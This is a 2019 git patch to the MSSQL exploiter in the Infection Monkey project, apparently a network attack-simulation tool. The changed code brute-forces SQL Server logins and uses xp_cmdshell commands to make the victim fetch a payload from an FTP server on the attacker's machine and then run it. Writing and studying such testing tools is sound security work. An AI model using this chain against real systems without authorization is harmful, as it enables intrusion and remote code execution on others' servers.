From c205636b10edf2b50da331fd2687122d4b57ea6e Mon Sep 17 00:00:00 2001
From: vakaris_zilius <vakarisz@yahoo.com>
Date: Fri, 8 Mar 2019 15:34:17 +0000
Subject: [PATCH] MSSQL now is able to upload a payload

---
 monkey/infection_monkey/exploit/mssqlexec.py  |  9 ++---
 .../exploit/mssqlexec_utils.py                | 40 ++++++++-----------
 2 files changed, 20 insertions(+), 29 deletions(-)

diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index a94e194a4..2e8bf6c90 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -1,6 +1,4 @@
 import os
-import platform
-from os import path
 import logging
 
 import pymssql
@@ -19,8 +17,8 @@ class MSSQLExploiter(HostExploiter):
     EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
     LOGIN_TIMEOUT = 15
     SQL_DEFAULT_TCP_PORT = '1433'
-    DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'%TEMP%\~PLD123.bat')
-    DEFAULT_PAYLOAD_PATH_LINUX = '/tmp/~PLD123.bat'
+    DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
+    DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
 
     def __init__(self, host):
         super(MSSQLExploiter, self).__init__(host)
@@ -62,7 +60,6 @@ class MSSQLExploiter(HostExploiter):
             return False
 
     def handle_payload(self, cursor, payload):
-
         """
             Handles the process of payload sending and execution, prepares the attack and details.
 
@@ -74,7 +71,7 @@ class MSSQLExploiter(HostExploiter):
                 True or False depends on process success
         """
 
-        chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr)
+        chosen_attack = self.attacks_list[0](payload, cursor, self.host)
 
         if chosen_attack.send_payload():
             LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
diff --git a/monkey/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py
index ab8b88e60..51293dfe3 100644
--- a/monkey/infection_monkey/exploit/mssqlexec_utils.py
+++ b/monkey/infection_monkey/exploit/mssqlexec_utils.py
@@ -8,6 +8,7 @@ from infection_monkey.exploit.tools import get_interface_to_target
 from pyftpdlib.authorizers import DummyAuthorizer
 from pyftpdlib.handlers import FTPHandler
 from pyftpdlib.servers import FTPServer
+from time import sleep
 
 
 __author__ = 'Maor Rayzin'
@@ -17,7 +18,8 @@ FTP_SERVER_PORT = 1026
 FTP_SERVER_ADDRESS = ''
 FTP_SERVER_USER = 'brute'
 FTP_SERVER_PASSWORD = 'force'
-FTP_WORKING_DIR = '.'
+FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
+FTP_WORK_DIR_LINUX = '/tmp/'
 
 LOG = logging.getLogger(__name__)
 
@@ -30,37 +32,29 @@ class FTP(object):
             user (str): User for FTP server auth
             password (str): Password for FTP server auth
             working_dir (str): The local working dir to init the ftp server on.
-
     """
 
-    def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
-                 working_dir=FTP_WORKING_DIR):
+    def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
         """Look at class level docstring."""
-
+        self.dst_ip = host.ip_addr
         self.user = user
         self.password = password
-        self.working_dir = working_dir
+        self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
 
-    def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
-                   working_dir=FTP_WORKING_DIR):
+    def run_server(self):
 
         """ Configures and runs the ftp server to listen forever until stopped.
-
-            Args:
-                user (str): User for FTP server auth
-                password (str): Password for FTP server auth
-                working_dir (str): The local working dir to init the ftp server on.
         """
 
         # Defining an authorizer and configuring the ftp user
         authorizer = DummyAuthorizer()
-        authorizer.add_user(user, password, working_dir, perm='elradfmw')
+        authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
 
         # Normal ftp handler
         handler = FTPHandler
         handler.authorizer = authorizer
 
-        address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT)
+        address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
 
         # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
         self.server = FTPServer(address, handler)
@@ -100,14 +94,15 @@ class CmdShellAttack(AttackHost):
         Args:
             payload_path (str): The local path of the payload file
             cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
+            host (model.host.VictimHost): Host this attack is going to target
 
     """
 
-    def __init__(self, payload_path, cursor, dst_ip_address):
+    def __init__(self, payload_path, cursor, host):
         super(CmdShellAttack, self).__init__(payload_path)
-        self.ftp_server, self.ftp_server_p = self.__init_ftp_server()
+        self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
         self.cursor = cursor
-        self.attacker_ip = get_interface_to_target(dst_ip_address)
+        self.attacker_ip = get_interface_to_target(host.ip_addr)
 
     def send_payload(self):
         """
@@ -121,7 +116,6 @@ class CmdShellAttack(AttackHost):
         shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
         echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
         shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
-
         shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
             .format(self.payload_path)
         shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
@@ -129,11 +123,11 @@ class CmdShellAttack(AttackHost):
 
         # Checking to see if ftp server is up
         if self.ftp_server_p and self.ftp_server:
-
             try:
                 # Running the cmd on remote host
                 for cmd in shellcmds:
                     self.cursor.execute(cmd)
+                    sleep(0.5)
             except Exception as e:
                 LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
                 self.ftp_server_p.terminate()
@@ -174,7 +168,7 @@ class CmdShellAttack(AttackHost):
                 self.ftp_server_p.terminate()
                 return False
 
-        except pymssql.OperationalError:
+        except pymssql.OperationalError as e:
             LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
             self.ftp_server_p.terminate()
             return False
@@ -193,7 +187,7 @@ class CmdShellAttack(AttackHost):
             LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
             return False
 
-    def __init_ftp_server(self):
+    def __init_ftp_server(self, host):
         """
             Init an FTP server using FTP class on a different process
 
@@ -203,7 +197,7 @@ class CmdShellAttack(AttackHost):
         """
 
         try:
-            ftp_s = FTP()
+            ftp_s = FTP(host)
             multiprocessing.log_to_stderr(logging.DEBUG)
             p = multiprocessing.Process(target=ftp_s.run_server)
             p.start()